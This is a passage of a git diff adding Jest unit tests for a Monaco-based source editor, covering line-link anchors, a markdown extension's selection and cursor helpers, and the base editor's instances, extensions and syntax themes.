+ SourceEditorExtension.highlightLines(instance);
+ expect(instance.lineDecorations).toBe('foo');
+ });
+ });
+
+ describe('setupLineLinking', () => {
+ const instance = {
+ onMouseMove: jest.fn(),
+ onMouseDown: jest.fn(),
+ deltaDecorations: jest.fn(),
+ lineDecorations: 'foo',
+ };
+
+ beforeEach(() => {
+ SourceEditorExtension.onMouseMoveHandler(event); // generate the anchor
+ });
+
+ it.each`
+ desc | spy
+ ${'onMouseMove'} | ${instance.onMouseMove}
+ ${'onMouseDown'} | ${instance.onMouseDown}
+ `('sets up the $desc listener', ({ spy } = {}) => {
+ SourceEditorExtension.setupLineLinking(instance);
+ expect(spy).toHaveBeenCalled();
+ });
+
+ it.each`
+ desc | eventTrigger | shouldRemove
+ ${'does not remove the line decorations if the event is triggered on a wrong node'} | ${null} | ${false}
+ ${'removes existing line decorations when clicking a line number'} | ${'.link-anchor'} | ${true}
+ `('$desc', ({ eventTrigger, shouldRemove } = {}) => {
+ event = generateEventMock({ el: eventTrigger ? document.querySelector(eventTrigger) : null });
+ instance.onMouseDown.mockImplementation((fn) => {
+ fn(event);
+ });
+
+ SourceEditorExtension.setupLineLinking(instance);
+ if (shouldRemove) {
+ expect(instance.deltaDecorations).toHaveBeenCalledWith(instance.lineDecorations, []);
+ } else {
+ expect(instance.deltaDecorations).not.toHaveBeenCalled();
+ }
+ });
+ });
+
+ describe('onMouseMoveHandler', () => {
+ it('stops propagation for contextmenu event on the generated anchor', () => {
+ SourceEditorExtension.onMouseMoveHandler(event);
+ const anchor = findLine(defaultLine).querySelector('a');
+ const contextMenuEvent = new Event('contextmenu');
+
+ jest.spyOn(contextMenuEvent, 'stopPropagation');
+ anchor.dispatchEvent(contextMenuEvent);
+
+ expect(contextMenuEvent.stopPropagation).toHaveBeenCalled();
+ });
+
+ it('creates an anchor if it does not exist yet', () => {
+ expect(findLine(defaultLine).querySelector('a')).toBe(null);
+ SourceEditorExtension.onMouseMoveHandler(event);
+ expect(findLine(defaultLine).querySelector('a')).not.toBe(null);
+ });
+
+ it('does not create a new anchor if it exists', () => {
+ SourceEditorExtension.onMouseMoveHandler(event);
+ expect(findLine(defaultLine).querySelector('a')).not.toBe(null);
+
+ SourceEditorExtension.createAnchor = jest.fn();
+ SourceEditorExtension.onMouseMoveHandler(event);
+ expect(SourceEditorExtension.createAnchor).not.toHaveBeenCalled();
+ expect(findLine(defaultLine).querySelectorAll('a')).toHaveLength(1);
+ });
+
+ it('does not create a link if the event is triggered on a wrong node', () => {
+ setFixtures('<div class="wrong-class">3</div>');
+ SourceEditorExtension.createAnchor = jest.fn();
+ const wrongEvent = generateEventMock({ el: document.querySelector('.wrong-class') });
+
+ SourceEditorExtension.onMouseMoveHandler(wrongEvent);
+ expect(SourceEditorExtension.createAnchor).not.toHaveBeenCalled();
+ });
+ });
+});
diff --git a/spec/frontend/editor/source_editor_markdown_ext_spec.js b/spec/frontend/editor/source_editor_markdown_ext_spec.js
new file mode 100644
index 00000000000..943e21250b4
--- /dev/null
+++ b/spec/frontend/editor/source_editor_markdown_ext_spec.js
@@ -0,0 +1,204 @@
+import { Range, Position } from 'monaco-editor';
+import { EditorMarkdownExtension } from '~/editor/extensions/source_editor_markdown_ext';
+import SourceEditor from '~/editor/source_editor';
+
+describe('Markdown Extension for Source Editor', () => {
+ let editor;
+ let instance;
+ let editorEl;
+ const firstLine = 'This is a';
+ const secondLine = 'multiline';
+ const thirdLine = 'string with some **markup**';
+ const text = `${firstLine}\n${secondLine}\n${thirdLine}`;
+ const filePath = 'foo.md';
+
+ const setSelection = (startLineNumber = 1, startColumn = 1, endLineNumber = 1, endColumn = 1) => {
+ const selection = new Range(startLineNumber, startColumn, endLineNumber, endColumn);
+ instance.setSelection(selection);
+ };
+ const selectSecondString = () => setSelection(2, 1, 2, secondLine.length + 1); // select the whole second line
+ const selectSecondAndThirdLines = () => setSelection(2, 1, 3, thirdLine.length + 1); // select second and third lines
+
+ const selectionToString = () => instance.getSelection().toString();
+ const positionToString = () => instance.getPosition().toString();
+
+ beforeEach(() => {
+ setFixtures('<div id="editor" data-editor-loading></div>');
+ editorEl = document.getElementById('editor');
+ editor = new SourceEditor();
+ instance = editor.createInstance({
+ el: editorEl,
+ blobPath: filePath,
+ blobContent: text,
+ });
+ editor.use(new EditorMarkdownExtension());
+ });
+
+ afterEach(() => {
+ instance.dispose();
+ editorEl.remove();
+ });
+
+ describe('getSelectedText', () => {
+ it('does not fail if there is no selection and returns the empty string', () => {
+ jest.spyOn(instance, 'getSelection');
+ const resText = instance.getSelectedText();
+
+ expect(instance.getSelection).toHaveBeenCalled();
+ expect(resText).toBe('');
+ });
+
+ it.each`
+ description | selection | expectedString
+ ${'same-line'} | ${[1, 1, 1, firstLine.length + 1]} | ${firstLine}
+ ${'two-lines'} | ${[1, 1, 2, secondLine.length + 1]} | ${`${firstLine}\n${secondLine}`}
+ ${'multi-lines'} | ${[1, 1, 3, thirdLine.length + 1]} | ${text}
+ `('correctly returns selected text for $description', ({ selection, expectedString }) => {
+ setSelection(...selection);
+
+ const resText = instance.getSelectedText();
+
+ expect(resText).toBe(expectedString);
+ });
+
+ it('accepts selection object that serves as a source instead of current selection', () => {
+ selectSecondString();
+ const firstLineSelection = new Range(1, 1, 1, firstLine.length + 1);
+
+ const resText = instance.getSelectedText(firstLineSelection);
+
+ expect(resText).toBe(firstLine);
+ });
+ });
+
+ describe('replaceSelectedText', () => {
+ const expectedStr = 'foo';
+
+ it('replaces selected text with the supplied one', () => {
+ selectSecondString();
+ instance.replaceSelectedText(expectedStr);
+
+ expect(instance.getValue()).toBe(`${firstLine}\n${expectedStr}\n${thirdLine}`);
+ });
+
+ it('prepends the supplied text if no text is selected', () => {
+ instance.replaceSelectedText(expectedStr);
+ expect(instance.getValue()).toBe(`${expectedStr}${firstLine}\n${secondLine}\n${thirdLine}`);
+ });
+
+ it('replaces selection with empty string if no text is supplied', () => {
+ selectSecondString();
+ instance.replaceSelectedText();
+ expect(instance.getValue()).toBe(`${firstLine}\n\n${thirdLine}`);
+ });
+
+ it('puts cursor at the end of the new string and collapses selection by default', () => {
+ selectSecondString();
+ instance.replaceSelectedText(expectedStr);
+
+ expect(positionToString()).toBe(`(2,${expectedStr.length + 1})`);
+ expect(selectionToString()).toBe(
+ `[2,${expectedStr.length + 1} -> 2,${expectedStr.length + 1}]`,
+ );
+ });
+
+ it('puts cursor at the end of the new string and keeps selection if "select" is supplied', () => {
+ const select = 'url';
+ const complexReplacementString = `[${secondLine}](${select})`;
+ selectSecondString();
+ instance.replaceSelectedText(complexReplacementString, select);
+
+ expect(positionToString()).toBe(`(2,${complexReplacementString.length + 1})`);
+ expect(selectionToString()).toBe(`[2,1 -> 2,${complexReplacementString.length + 1}]`);
+ });
+ });
+
+ describe('moveCursor', () => {
+ const setPosition = (endCol) => {
+ const currentPos = new Position(2, endCol);
+ instance.setPosition(currentPos);
+ };
+
+ it.each`
+ direction | condition | startColumn | shift | endPosition
+ ${'left'} | ${'negative'} | ${secondLine.length + 1} | ${-1} | ${`(2,${secondLine.length})`}
+ ${'left'} | ${'negative'} | ${secondLine.length} | ${secondLine.length * -1} | ${'(2,1)'}
+ ${'right'} | ${'positive'} | ${1} | ${1} | ${'(2,2)'}
+ ${'right'} | ${'positive'} | ${2} | ${secondLine.length} | ${`(2,${secondLine.length + 1})`}
+ ${'up'} | ${'positive'} | ${1} | ${[0, -1]} | ${'(1,1)'}
+ ${'top of file'} | ${'positive'} | ${1} | ${[0, -100]} | ${'(1,1)'}
+ ${'down'} | ${'negative'} | ${1} | ${[0, 1]} | ${'(3,1)'}
+ ${'end of file'} | ${'negative'} | ${1} | ${[0, 100]} | ${`(3,${thirdLine.length + 1})`}
+ ${'end of line'} | ${'too large'} | ${1} | ${secondLine.length + 100} | ${`(2,${secondLine.length + 1})`}
+ ${'start of line'} | ${'too low'} | ${1} | ${-100} | ${'(2,1)'}
+ `(
+ 'moves cursor to the $direction if $condition supplied',
+ ({ startColumn, shift, endPosition }) => {
+ setPosition(startColumn);
+ if (Array.isArray(shift)) {
+ instance.moveCursor(...shift);
+ } else {
+ instance.moveCursor(shift);
+ }
+ expect(positionToString()).toBe(endPosition);
+ },
+ );
+ });
+
+ describe('selectWithinSelection', () => {
+ it('scopes down current selection to supplied text', () => {
+ const selectedText = `${secondLine}\n${thirdLine}`;
+ const toSelect = 'string';
+ selectSecondAndThirdLines();
+
+ expect(selectionToString()).toBe(`[2,1 -> 3,${thirdLine.length + 1}]`);
+
+ instance.selectWithinSelection(toSelect, selectedText);
+ expect(selectionToString()).toBe(`[3,1 -> 3,${toSelect.length + 1}]`);
+ });
+
+ it('does not fail when only `toSelect` is supplied and fetches the text from selection', () => {
+ jest.spyOn(instance, 'getSelectedText');
+ const toSelect = 'string';
+ selectSecondAndThirdLines();
+
+ instance.selectWithinSelection(toSelect);
+
+ expect(instance.getSelectedText).toHaveBeenCalled();
+ expect(selectionToString()).toBe(`[3,1 -> 3,${toSelect.length + 1}]`);
+ });
+
+ it('does nothing if no `toSelect` is supplied', () => {
+ selectSecondAndThirdLines();
+ const expectedPos = `(3,${thirdLine.length + 1})`;
+ const expectedSelection = `[2,1 -> 3,${thirdLine.length + 1}]`;
+
+ expect(positionToString()).toBe(expectedPos);
+ expect(selectionToString()).toBe(expectedSelection);
+
+ instance.selectWithinSelection();
+
+ expect(positionToString()).toBe(expectedPos);
+ expect(selectionToString()).toBe(expectedSelection);
+ });
+
+ it('does nothing if no selection is set in the editor', () => {
+ const expectedPos = '(1,1)';
+ const expectedSelection = '[1,1 -> 1,1]';
+ const toSelect = 'string';
+
+ expect(positionToString()).toBe(expectedPos);
+ expect(selectionToString()).toBe(expectedSelection);
+
+ instance.selectWithinSelection(toSelect);
+
+ expect(positionToString()).toBe(expectedPos);
+ expect(selectionToString()).toBe(expectedSelection);
+
+ instance.selectWithinSelection();
+
+ expect(positionToString()).toBe(expectedPos);
+ expect(selectionToString()).toBe(expectedSelection);
+ });
+ });
+});
diff --git a/spec/frontend/editor/source_editor_spec.js b/spec/frontend/editor/source_editor_spec.js
new file mode 100644
index 00000000000..d87d373c952
--- /dev/null
+++ b/spec/frontend/editor/source_editor_spec.js
@@ -0,0 +1,696 @@
+/* eslint-disable max-classes-per-file */
+import { editor as monacoEditor, languages as monacoLanguages } from 'monaco-editor';
+import waitForPromises from 'helpers/wait_for_promises';
+import {
+ SOURCE_EDITOR_INSTANCE_ERROR_NO_EL,
+ URI_PREFIX,
+ EDITOR_READY_EVENT,
+} from '~/editor/constants';
+import { SourceEditorExtension } from '~/editor/extensions/source_editor_extension_base';
+import SourceEditor from '~/editor/source_editor';
+import { DEFAULT_THEME, themes } from '~/ide/lib/themes';
+import { joinPaths } from '~/lib/utils/url_utility';
+
+describe('Base editor', () => {
+ let editorEl;
+ let editor;
+ let defaultArguments;
+ const blobOriginalContent = 'Foo Foo';
+ const blobContent = 'Foo Bar';
+ const blobPath = 'test.md';
+ const blobGlobalId = 'snippet_777';
+ const fakeModel = { foo: 'bar', dispose: jest.fn() };
+
+ beforeEach(() => {
+ setFixtures('<div id="editor" data-editor-loading></div>');
+ editorEl = document.getElementById('editor');
+ defaultArguments = { el: editorEl, blobPath, blobContent, blobGlobalId };
+ editor = new SourceEditor();
+ });
+
+ afterEach(() => {
+ editor.dispose();
+ editorEl.remove();
+ monacoEditor.getModels().forEach((model) => {
+ model.dispose();
+ });
+ });
+
+ const uriFilePath = joinPaths('/', URI_PREFIX, blobGlobalId, blobPath);
+
+ it('initializes Editor with basic properties', () => {
+ expect(editor).toBeDefined();
+ expect(editor.instances).toEqual([]);
+ });
+
+ it('removes `editor-loading` data attribute from the target DOM element', () => {
+ editor.createInstance({ el: editorEl });
+
+ expect(editorEl.dataset.editorLoading).toBeUndefined();
+ });
+
+ describe('instance of the Source Editor', () => {
+ let modelSpy;
+ let instanceSpy;
+ const setModel = jest.fn();
+ const dispose = jest.fn();
+ const mockModelReturn = (res = fakeModel) => {
+ modelSpy = jest.spyOn(monacoEditor, 'createModel').mockImplementation(() => res);
+ };
+ const mockDecorateInstance = (decorations = {}) => {
+ jest.spyOn(SourceEditor, 'convertMonacoToELInstance').mockImplementation((inst) => {
+ return Object.assign(inst, decorations);
+ });
+ };
+
+ beforeEach(() => {
+ modelSpy = jest.spyOn(monacoEditor, 'createModel');
+ });
+
+ describe('instance of the Code Editor', () => {
+ beforeEach(() => {
+ instanceSpy = jest.spyOn(monacoEditor, 'create');
+ });
+
+ it('throws an error if no dom element is supplied', () => {
+ mockDecorateInstance();
+ expect(() => {
+ editor.createInstance();
+ }).toThrow(SOURCE_EDITOR_INSTANCE_ERROR_NO_EL);
+
+ expect(modelSpy).not.toHaveBeenCalled();
+ expect(instanceSpy).not.toHaveBeenCalled();
+ expect(SourceEditor.convertMonacoToELInstance).not.toHaveBeenCalled();
+ });
+
+ it('creates model to be supplied to Monaco editor', () => {
+ mockModelReturn();
+ mockDecorateInstance({
+ setModel,
+ });
+ editor.createInstance(defaultArguments);
+
+ expect(modelSpy).toHaveBeenCalledWith(
+ blobContent,
+ undefined,
+ expect.objectContaining({
+ path: uriFilePath,
+ }),
+ );
+ expect(setModel).toHaveBeenCalledWith(fakeModel);
+ });
+
+ it('does not create a model automatically if model is passed as `null`', () => {
+ mockDecorateInstance({
+ setModel,
+ });
+ editor.createInstance({ ...defaultArguments, model: null });
+ expect(modelSpy).not.toHaveBeenCalled();
+ expect(setModel).not.toHaveBeenCalled();
+ });
+
+ it('initializes the instance on a supplied DOM node', () => {
+ editor.createInstance({ el: editorEl });
+
+ expect(editor.editorEl).not.toBe(null);
+ expect(instanceSpy).toHaveBeenCalledWith(editorEl, expect.anything());
+ });
+
+ it('with blobGlobalId, creates model with the id in uri', () => {
+ editor.createInstance(defaultArguments);
+
+ expect(modelSpy).toHaveBeenCalledWith(
+ blobContent,
+ undefined,
+ expect.objectContaining({
+ path: uriFilePath,
+ }),
+ );
+ });
+
+ it('initializes instance with passed properties', () => {
+ const instanceOptions = {
+ foo: 'bar',
+ };
+ editor.createInstance({
+ el: editorEl,
+ ...instanceOptions,
+ });
+ expect(instanceSpy).toHaveBeenCalledWith(
+ editorEl,
+ expect.objectContaining(instanceOptions),
+ );
+ });
+
+ it('disposes instance when the global editor is disposed', () => {
+ mockDecorateInstance({
+ dispose,
+ });
+ editor.createInstance(defaultArguments);
+
+ expect(dispose).not.toHaveBeenCalled();
+
+ editor.dispose();
+
+ expect(dispose).toHaveBeenCalled();
+ });
+
+ it("removes the disposed instance from the global editor's storage and disposes the associated model", () => {
+ mockModelReturn();
+ mockDecorateInstance({
+ setModel,
+ });
+ const instance = editor.createInstance(defaultArguments);
+
+ expect(editor.instances).toHaveLength(1);
+ expect(fakeModel.dispose).not.toHaveBeenCalled();
+
+ instance.dispose();
+
+ expect(editor.instances).toHaveLength(0);
+ expect(fakeModel.dispose).toHaveBeenCalled();
+ });
+ });
+
+ describe('instance of the Diff Editor', () => {
+ beforeEach(() => {
+ instanceSpy = jest.spyOn(monacoEditor, 'createDiffEditor');
+ });
+
+ it('Diff Editor goes through the normal path of Code Editor just with the flag ON', () => {
+ const spy = jest.spyOn(editor, 'createInstance').mockImplementation(() => {});
+ editor.createDiffInstance();
+ expect(spy).toHaveBeenCalledWith(
+ expect.objectContaining({
+ isDiff: true,
+ }),
+ );
+ });
+
+ it('initializes the instance on a supplied DOM node', () => {
+ const wrongInstanceSpy = jest.spyOn(monacoEditor, 'create').mockImplementation(() => ({}));
+ editor.createDiffInstance({ ...defaultArguments, blobOriginalContent });
+
+ expect(editor.editorEl).not.toBe(null);
+ expect(wrongInstanceSpy).not.toHaveBeenCalled();
+ expect(instanceSpy).toHaveBeenCalledWith(editorEl, expect.anything());
+ });
+
+ it('creates correct model for the Diff Editor', () => {
+ const instance = editor.createDiffInstance({ ...defaultArguments, blobOriginalContent });
+ const getDiffModelValue = (model) => instance.getModel()[model].getValue();
+
+ expect(modelSpy).toHaveBeenCalledTimes(2);
+ expect(modelSpy.mock.calls[0]).toEqual([
+ blobContent,
+ undefined,
+ expect.objectContaining({
+ path: uriFilePath,
+ }),
+ ]);
+ expect(modelSpy.mock.calls[1]).toEqual([blobOriginalContent, 'markdown']);
+ expect(getDiffModelValue('original')).toBe(blobOriginalContent);
+ expect(getDiffModelValue('modified')).toBe(blobContent);
+ });
+
+ it('correctly disposes the diff editor model', () => {
+ const modifiedModel = fakeModel;
+ const originalModel = { ...fakeModel };
+ mockDecorateInstance({
+ getModel: jest.fn().mockReturnValue({
+ original: originalModel,
+ modified: modifiedModel,
+ }),
+ });
+
+ const instance = editor.createDiffInstance({ ...defaultArguments, blobOriginalContent });
+
+ expect(editor.instances).toHaveLength(1);
+ expect(originalModel.dispose).not.toHaveBeenCalled();
+ expect(modifiedModel.dispose).not.toHaveBeenCalled();
+
+ instance.dispose();
+
+ expect(editor.instances).toHaveLength(0);
+ expect(originalModel.dispose).toHaveBeenCalled();
+ expect(modifiedModel.dispose).toHaveBeenCalled();
+ });
+ });
+ });
+
+ describe('multiple instances', () => {
+ let instanceSpy;
+ let inst1Args;
+ let inst2Args;
+ let editorEl1;
+ let editorEl2;
+ let inst1;
+ let inst2;
+ const readOnlyIndex = '78'; // readOnly option has the internal index of 78 in the editor's options
+
+ beforeEach(() => {
+ setFixtures('<div id="editor1"></div><div id="editor2"></div>');
+ editorEl1 = document.getElementById('editor1');
+ editorEl2 = document.getElementById('editor2');
+ inst1Args = {
+ el: editorEl1,
+ };
+ inst2Args = {
+ el: editorEl2,
+ blobContent,
+ blobPath,
+ };
+
+ editor = new SourceEditor();
+ instanceSpy = jest.spyOn(monacoEditor, 'create');
+ });
+
+ afterEach(() => {
+ editor.dispose();
+ });
+
+ it('can initialize several instances of the same editor', () => {
+ editor.createInstance(inst1Args);
+ expect(editor.instances).toHaveLength(1);
+
+ editor.createInstance(inst2Args);
+
+ expect(instanceSpy).toHaveBeenCalledTimes(2);
+ expect(editor.instances).toHaveLength(2);
+ });
+
+ it('sets independent models on independent instances', () => {
+ inst1 = editor.createInstance(inst1Args);
+ inst2 = editor.createInstance(inst2Args);
+
+ const model1 = inst1.getModel();
+ const model2 = inst2.getModel();
+
+ expect(model1).toBeDefined();
+ expect(model2).toBeDefined();
+ expect(model1).not.toEqual(model2);
+ });
+
+ it('does not create a new model if a model for the path & globalId combo already exists', () => {
+ const modelSpy = jest.spyOn(monacoEditor, 'createModel');
+ inst1 = editor.createInstance({ ...inst2Args, blobGlobalId });
+ inst2 = editor.createInstance({ ...inst2Args, el: editorEl1, blobGlobalId });
+
+ const model1 = inst1.getModel();
+ const model2 = inst2.getModel();
+
+ expect(modelSpy).toHaveBeenCalledTimes(1);
+ expect(model1).toBe(model2);
+ });
+
+ it('shares global editor options among all instances', () => {
+ editor = new SourceEditor({
+ readOnly: true,
+ });
+
+ inst1 = editor.createInstance(inst1Args);
+ expect(inst1.getOption(readOnlyIndex)).toBe(true);
+
+ inst2 = editor.createInstance(inst2Args);
+ expect(inst2.getOption(readOnlyIndex)).toBe(true);
+ });
+
+ it('allows overriding editor options on the instance level', () => {
+ editor = new SourceEditor({
+ readOnly: true,
+ });
+ inst1 = editor.createInstance({
+ ...inst1Args,
+ readOnly: false,
+ });
+
+ expect(inst1.getOption(readOnlyIndex)).toBe(false);
+ });
+
+ it('disposes instances and relevant models independently from each other', () => {
+ inst1 = editor.createInstance(inst1Args);
+ inst2 = editor.createInstance(inst2Args);
+
+ expect(inst1.getModel()).not.toBe(null);
+ expect(inst2.getModel()).not.toBe(null);
+ expect(editor.instances).toHaveLength(2);
+ expect(monacoEditor.getModels()).toHaveLength(2);
+
+ inst1.dispose();
+
+ expect(inst1.getModel()).toBe(null);
+ expect(inst2.getModel()).not.toBe(null);
+ expect(editor.instances).toHaveLength(1);
+ expect(monacoEditor.getModels()).toHaveLength(1);
+ });
+ });
+
+ describe('implementation', () => {
+ let instance;
+ beforeEach(() => {
+ instance = editor.createInstance({ el: editorEl, blobPath, blobContent });
+ });
+
+ it('correctly proxies value from the model', () => {
+ expect(instance.getValue()).toBe(blobContent);
+ });
+
+ it('is capable of changing the language of the model', () => {
+ // ignore warnings and errors Monaco posts during setup
+ // (due to being called from Jest/Node.js environment)
+ jest.spyOn(console, 'warn').mockImplementation(() => {});
+ jest.spyOn(console, 'error').mockImplementation(() => {});
+
+ const blobRenamedPath = 'test.js';
+
+ expect(instance.getModel().getLanguageIdentifier().language).toBe('markdown');
+ instance.updateModelLanguage(blobRenamedPath);
+
+ expect(instance.getModel().getLanguageIdentifier().language).toBe('javascript');
+ });
+
+ it('falls back to plaintext if there is no language associated with an extension', () => {
+ const blobRenamedPath = 'test.myext';
+ const spy = jest.spyOn(console, 'error').mockImplementation(() => {});
+
+ instance.updateModelLanguage(blobRenamedPath);
+
+ expect(spy).not.toHaveBeenCalled();
+ expect(instance.getModel().getLanguageIdentifier().language).toBe('plaintext');
+ });
+ });
+
+ describe('extensions', () => {
+ let instance;
+ const alphaRes = jest.fn();
+ const betaRes = jest.fn();
+ const fooRes = jest.fn();
+ const barRes = jest.fn();
+ class AlphaClass {
+ constructor() {
+ this.res = alphaRes;
+ }
+ alpha() {
+ return this?.nonExistentProp || alphaRes;
+ }
+ }
+ class BetaClass {
+ beta() {
+ return this?.nonExistentProp || betaRes;
+ }
+ }
+ class WithStaticMethod {
+ constructor({ instance: inst, ...options } = {}) {
+ Object.assign(inst, options);
+ }
+ static computeBoo(a) {
+ return a + 1;
+ }
+ boo() {
+ return WithStaticMethod.computeBoo(this.base);
+ }
+ }
+ class WithStaticMethodExtended extends SourceEditorExtension {
+ static computeBoo(a) {
+ return a + 1;
+ }
+ boo() {
+ return WithStaticMethodExtended.computeBoo(this.base);
+ }
+ }
+ const AlphaExt = new AlphaClass();
+ const BetaExt = new BetaClass();
+ const FooObjExt = {
+ foo() {
+ return fooRes;
+ },
+ };
+ const BarObjExt = {
+ bar() {
+ return barRes;
+ },
+ };
+
+ describe('basic functionality', () => {
+ beforeEach(() => {
+ instance = editor.createInstance({ el: editorEl, blobPath, blobContent });
+ });
+
+ it('does not fail if no extensions supplied', () => {
+ const spy = jest.spyOn(global.console, 'error');
+ instance.use();
+
+ expect(spy).not.toHaveBeenCalled();
+ });
+
+ it("does not extend instance with extension's constructor", () => {
+ expect(instance.constructor).toBeDefined();
+ const { constructor } = instance;
+
+ expect(AlphaExt.constructor).toBeDefined();
+ expect(AlphaExt.constructor).not.toEqual(constructor);
+
+ instance.use(AlphaExt);
+ expect(instance.constructor).toBe(constructor);
+ });
+
+ it.each`
+ type | extensions | methods | expectations
+ ${'ES6 classes'} | ${AlphaExt} | ${['alpha']} | ${[alphaRes]}
+ ${'multiple ES6 classes'} | ${[AlphaExt, BetaExt]} | ${['alpha', 'beta']} | ${[alphaRes, betaRes]}
+ ${'simple objects'} | ${FooObjExt} | ${['foo']} | ${[fooRes]}
+ ${'multiple simple objects'} | ${[FooObjExt, BarObjExt]} | ${['foo', 'bar']} | ${[fooRes, barRes]}
+ ${'combination of ES6 classes and objects'} | ${[AlphaExt, BarObjExt]} | ${['alpha', 'bar']} | ${[alphaRes, barRes]}
+ `('is extensible with $type', ({ extensions, methods, expectations } = {}) => {
+ methods.forEach((method) => {
+ expect(instance[method]).toBeUndefined();
+ });
+
+ instance.use(extensions);
+
+ methods.forEach((method) => {
+ expect(instance[method]).toBeDefined();
+ });
+
+ expectations.forEach((expectation, i) => {
+ expect(instance[methods[i]].call()).toEqual(expectation);
+ });
+ });
+
+ it('does not extend instance with private data of an extension', () => {
+ const ext = new WithStaticMethod({ instance });
+ ext.staticMethod = () => {
+ return 'foo';
+ };
+ ext.staticProp = 'bar';
+
+ expect(instance.boo).toBeUndefined();
+ expect(instance.staticMethod).toBeUndefined();
+ expect(instance.staticProp).toBeUndefined();
+
+ instance.use(ext);
+
+ expect(instance.boo).toBeDefined();
+ expect(instance.staticMethod).toBeUndefined();
+ expect(instance.staticProp).toBeUndefined();
+ });
+
+ it.each([WithStaticMethod, WithStaticMethodExtended])(
+ 'properly resolves data for an extension with private data',
+ (ExtClass) => {
+ const base = 1;
+ expect(instance.base).toBeUndefined();
+ expect(instance.boo).toBeUndefined();
+
+ const ext = new ExtClass({ instance, base });
+
+ instance.use(ext);
+ expect(instance.base).toBe(1);
+ expect(instance.boo()).toBe(2);
+ },
+ );
+
+ it('uses the last definition of a method in case of an overlap', () => {
+ const FooObjExt2 = { foo: 'foo2' };
+ instance.use([FooObjExt, BarObjExt, FooObjExt2]);
+ expect(instance).toMatchObject({
+ foo: 'foo2',
+ ...BarObjExt,
+ });
+ });
+
+ it('correctly resolves references withing extensions', () => {
+ const FunctionExt = {
+ inst() {
+ return this;
+ },
+ mod() {
+ return this.getModel();
+ },
+ };
+ instance.use(FunctionExt);
+ expect(instance.inst()).toEqual(editor.instances[0]);
+ });
+ });
+
+ describe('extensions as an instance parameter', () => {
+ let editorExtensionSpy;
+ const instanceConstructor = (extensions = []) => {
+ return editor.createInstance({
+ el: editorEl,
+ blobPath,
+ blobContent,
+ extensions,
+ });
+ };
+
+ beforeEach(() => {
+ editorExtensionSpy = jest
+ .spyOn(SourceEditor, 'pushToImportsArray')
+ .mockImplementation((arr) => {
+ arr.push(
+ Promise.resolve({
+ default: {},
+ }),
+ );
+ });
+ });
+
+ it.each([undefined, [], [''], ''])(
+ 'does not fail and makes no fetch if extensions is %s',
+ () => {
+ instance = instanceConstructor(null);
+ expect(editorExtensionSpy).not.toHaveBeenCalled();
+ },
+ );
+
+ it.each`
+ type | value | callsCount
+ ${'simple string'} | ${'foo'} | ${1}
+ ${'combined string'} | ${'foo, bar'} | ${2}
+ ${'array of strings'} | ${['foo', 'bar']} | ${2}
+ `('accepts $type as an extension parameter', ({ value, callsCount }) => {
+ instance = instanceConstructor(value);
+ expect(editorExtensionSpy).toHaveBeenCalled();
+ expect(editorExtensionSpy.mock.calls).toHaveLength(callsCount);
+ });
+
+ it.each`
+ desc | path | expectation
+ ${'~/editor'} | ${'foo'} | ${'~/editor/foo'}
+ ${'~/CUSTOM_PATH with leading slash'} | ${'/my_custom_path/bar'} | ${'~/my_custom_path/bar'}
+ ${'~/CUSTOM_PATH without leading slash'} | ${'my_custom_path/delta'} | ${'~/my_custom_path/delta'}
+ `('fetches extensions from $desc path', ({ path, expectation }) => {
+ instance = instanceConstructor(path);
+ expect(editorExtensionSpy).toHaveBeenCalledWith(expect.any(Array), expectation);
+ });
+
+ it('emits EDITOR_READY_EVENT event after all extensions were applied', async () => {
+ const calls = [];
+ const eventSpy = jest.fn().mockImplementation(() => {
+ calls.push('event');
+ });
+ const useSpy = jest.fn().mockImplementation(() => {
+ calls.push('use');
+ });
+ jest.spyOn(SourceEditor, 'convertMonacoToELInstance').mockImplementation((inst) => {
+ const decoratedInstance = inst;
+ decoratedInstance.use = useSpy;
+ return decoratedInstance;
+ });
+ editorEl.addEventListener(EDITOR_READY_EVENT, eventSpy);
+ instance = instanceConstructor('foo, bar');
+ await waitForPromises();
+ expect(useSpy.mock.calls).toHaveLength(2);
+ expect(calls).toEqual(['use', 'use', 'event']);
+ });
+ });
+
+ describe('multiple instances', () => {
+ let inst1;
+ let inst2;
+ let editorEl1;
+ let editorEl2;
+
+ beforeEach(() => {
+ setFixtures('<div id="editor1"></div><div id="editor2"></div>');
+ editorEl1 = document.getElementById('editor1');
+ editorEl2 = document.getElementById('editor2');
+ inst1 = editor.createInstance({ el: editorEl1, blobPath: `foo-${blobPath}` });
+ inst2 = editor.createInstance({ el: editorEl2, blobPath: `bar-${blobPath}` });
+ });
+
+ afterEach(() => {
+ editor.dispose();
+ editorEl1.remove();
+ editorEl2.remove();
+ });
+
+ it('extends all instances if no specific instance is passed', () => {
+ editor.use(AlphaExt);
+ expect(inst1.alpha()).toEqual(alphaRes);
+ expect(inst2.alpha()).toEqual(alphaRes);
+ });
+ });
+ });
+
+ describe('languages', () => {
+ it('registers custom languages defined with Monaco', () => {
+ expect(monacoLanguages.getLanguages()).toEqual(
+ expect.arrayContaining([
+ expect.objectContaining({
+ id: 'vue',
+ }),
+ ]),
+ );
+ });
+ });
+
+ describe('syntax highlighting theme', () => {
+ let themeDefineSpy;
+ let themeSetSpy;
+ let defaultScheme;
+
+ beforeEach(() => {
+ themeDefineSpy = jest.spyOn(monacoEditor, 'defineTheme').mockImplementation(() => {});
+ themeSetSpy = jest.spyOn(monacoEditor, 'setTheme').mockImplementation(() => {});
+ defaultScheme = window.gon.user_color_scheme;
+ });
+
+ afterEach(() => {
+ window.gon.user_color_scheme = defaultScheme;
+ });
+
+ it('sets default syntax highlighting theme', () => {
+ const expectedTheme = themes.find((t) => t.name === DEFAULT_THEME);
+
+ editor = new SourceEditor();
+
+ expect(themeDefineSpy).toHaveBeenCalledWith(DEFAULT_THEME, expectedTheme.data);
+ expect(themeSetSpy).toHaveBeenCalledWith(DEFAULT_THEME);
+ });
+
+ it('sets correct theme if it is set in users preferences', () => {
+ const expectedTheme = themes.find((t) => t.name !== DEFAULT_THEME);
+
+ expect(expectedTheme.name).not.toBe(DEFAULT_THEME);
+
+ window.gon.user_color_scheme = expectedTheme.name;
+ editor = new SourceEditor();
+
+ expect(themeDefineSpy).toHaveBeenCalledWith(expectedTheme.name, expectedTheme.data);
+ expect(themeSetSpy).toHaveBeenCalledWith(expectedTheme.name);
+ });
+
+ it('falls back to default theme if a selected one is not supported yet', () => {
+ const name = 'non-existent-theme';
+ const nonExistentTheme = { name };
+
+ window.gon.user_color_scheme = nonExistentTheme.name;
+ editor = new SourceEditor();
+
+ expect(themeDefineSpy).not.toHaveBeenCalled();
+ expect(themeSetSpy).toHaveBeenCalledWith(DEFAULT_THEME);
